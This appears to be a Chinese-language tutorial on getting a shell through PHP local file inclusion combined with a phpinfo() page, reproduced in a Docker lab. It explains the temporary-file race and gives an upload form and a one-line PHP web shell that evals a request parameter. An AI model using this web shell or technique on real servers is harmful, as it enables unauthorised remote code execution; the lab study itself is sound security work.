背景
某站點存在本地文件包含及phpinfo,可以利用其執行腳本。
原理
原理: 利用php post上傳文件產生臨時文件,phpinfo()讀臨時文件的路徑和名字,本地包含漏洞生成1句話后門
1.php在解析multipart/form-data請求時,會創建臨時文件,並寫入上傳內容,腳本執行后即刪除
2.phpinfo可以輸出$_FILE信息
3.通過多種方式爭取時間,在臨時文件刪除前進行執行包含
1)通過在數據報文中加入大量的垃圾數據,似phpinfo頁面過大,導致phpinfo頁面過大,導致php輸出進入流式輸出,並不一次輸出完畢
2)通過大量請求來延遲php腳本的執行速度
環境復現
項目地址:http://github.com/hxer/vulnapp.git
源碼存在code目錄下,利用docker進行復現
漏洞利用
php上傳
向服務器上任意php文件post請求上傳文件時,都會生成臨時文件,可以直接在phpinfo頁面找到臨時文件的路徑及名字。
- post上傳文件
php post方式上傳任意文件,服務器都會創建臨時文件來保存文件內容。
在HTTP協議中為了方便進行文件傳輸,規定了一種基於表單的 HTML文件傳輸方法
其中要確保上傳表單的屬性是 enctype="multipart/form-data"
其中PHP引擎對enctype=”multipart/form-data”這種請求的處理過程如下:
1、請求到達;
2、創建臨時文件,並寫入上傳文件的內容;
3、調用相應PHP腳本進行處理,如校驗名稱、大小等;
4、刪除臨時文件。
PHP引擎會首先將文件內容保存到臨時文件,然后進行相應的操作。臨時文件的名稱是 php+隨機字符 。
- $_FILES信息,包括臨時文件路徑、名稱
在PHP中,有超全局變量$_FILES,保存上傳文件的信息,包括文件名、類型、臨時文件名、錯誤代號、大小
手工測試phpinfo()獲取臨時文件路徑
- html表單
文件 upload.html
<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
-
瀏覽器訪問 upload.html, 上傳文件 file.txt
<?php eval($_REQUEST["cmd"]); ?>
- burp 查看POST 信息如下
- phpinfo獲得如下信息
通過分析可見,php post上傳文件時確實經歷了:創建臨時文件--->調用相關php腳本,在phpinfo中回顯文件信息--->刪除臨時文件
ps: 發現inotifywait確實是款好工具,它可以實時監測linux某一文件夾下的文件的實時變化
安裝:
apt-get install -y inotify-tools
使用:
inotifywait -m /tmp
-e 選項指定要監控的“事件”(events)包括了:access、modify、 attrib、 close_write、 close_nowrite、close、open、 moved_to、 moved_from、move、 move_self、 create、delete、delete_self、unmount。
如果不加參數-e的話,默認就是監控所有的事件,在日常運維時,這個工具可以幫助你監控服務器上重要文件和重要目錄的變化情況。
GetShell演示
參考:https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo